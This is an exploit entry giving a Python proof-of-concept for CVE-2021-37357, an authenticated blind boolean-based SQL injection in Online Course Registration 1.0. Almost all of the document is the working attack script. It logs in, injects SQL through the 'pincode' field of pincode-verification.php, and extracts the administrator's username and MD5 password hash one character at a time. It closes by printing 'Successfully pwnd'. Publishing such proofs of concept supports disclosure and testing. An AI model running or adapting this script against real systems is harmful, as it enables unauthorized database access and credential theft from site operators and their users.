# Exploit Title: Online Course Registration 1.0 - Blind Boolean-Based SQL Injection (Authenticated)
# Exploit Author: Sam Ferguson (@AffineSecurity) and Drew Jones (@qhum7sec)
# Date: 2021-10-21
# Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip
# Version: 1.0
# Tested On: Windows 10 + XAMPP + Python 3
# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack, which can provide attackers
# with access to the username and md5 hash of any administrators.
# Vulnerable file: /online-course-registration/Online/pincode-verification.php
# Proof of Concept:
#!/usr/bin/python3
import requests
import sys
import string
def exploit(hostname, username, password):
# Building bruteforce list
pass_list = list(string.ascii_lowercase)
pass_list += list(range(0,10))
pass_list = map(str, pass_list)
pass_list = list(pass_list)
user_list = pass_list
user_list += list(string.ascii_uppercase)
user_list = map(str, user_list)
user_list = list(user_list)
session = requests.Session()
# This URL may change based on the implementation - change as needed
url = f"{hostname}/online-course-registration/Online/index.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/index.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
data = {"regno": f"{username}", "password": f"{password}", "submit": ''}
r = session.post(url, headers=headers, data=data)
print("Admin username:")
# This range number is pretty arbitrary, so change it to whatever you feel like
for i in range(1,33):
counter = 0
find = False
for j in user_list:
# This URL may change based on the implementation - change as needed
url = f"{hostname}/online-course-registration/Online/pincode-verification.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
data = {"pincode": f"' or (select(select (substring(username,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}
a = session.post(url, headers=headers, data=data)
counter += 1
if 'Course Enroll' in a.text:
sys.stdout.write(j)
sys.stdout.flush()
break
elif counter == len(user_list):
find = True
break
if find:
break
print("\n")
print("Admin password hash:")
# This range is not arbitrary and will cover md5 hashing - if the hashing implementation is different, change as needed
for i in range(1,33):
counter = 0
find = False
for j in pass_list:
url = f"{hostname}/online-course-registration/Online/pincode-verification.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
data = {"pincode": f"' or (select(select (substring(password,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}
a = session.post(url, headers=headers, data=data)
counter += 1
if 'Course Enroll' in a.text:
sys.stdout.write(j)
sys.stdout.flush()
break
elif counter == len(pass_list):
find = True
break
if find:
break
print("\n\nSuccessfully pwnd :)")
def logo():
art = R'''
__/\\\\\\\\\\\\\____/\\\\\\\\\\\__/\\\\\_____/\\\__/\\\\_________/\\\__
_\/\\\/////////\\\_\/////\\\///__\/\\\\\\___\/\\\_\///\\________\/\\\__
_\/\\\_______\/\\\_____\/\\\_____\/\\\/\\\__\/\\\__/\\/_________\/\\\__
_\/\\\\\\\\\\\\\/______\/\\\_____\/\\\//\\\_\/\\\_\//___________\/\\\__
_\/\\\/////////________\/\\\_____\/\\\\//\\\\/\\\__________/\\\\\\\\\__
_\/\\\_________________\/\\\_____\/\\\_\//\\\/\\\_________/\\\////\\\__
_\/\\\_________________\/\\\_____\/\\\__\//\\\\\\________\/\\\__\/\\\__
_\/\\\______________/\\\\\\\\\\\_\/\\\___\//\\\\\________\//\\\\\\\/\\_
_\///______________\///////////__\///_____\/////__________\///////\//__
'''
info = 'CVE-2021-37357 PoC'.center(76)
credits = 'Created by @AffineSecurity and @qhum7sec'.center(76)
print(f"{art}\n{info}\n{credits}")
def main():
logo()
hostname = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 4:
print("Usage: python3 exploit.py http://127.0.0.1:80 username password")
exploit(hostname, username, password)
if __name__ == '__main__':
main()
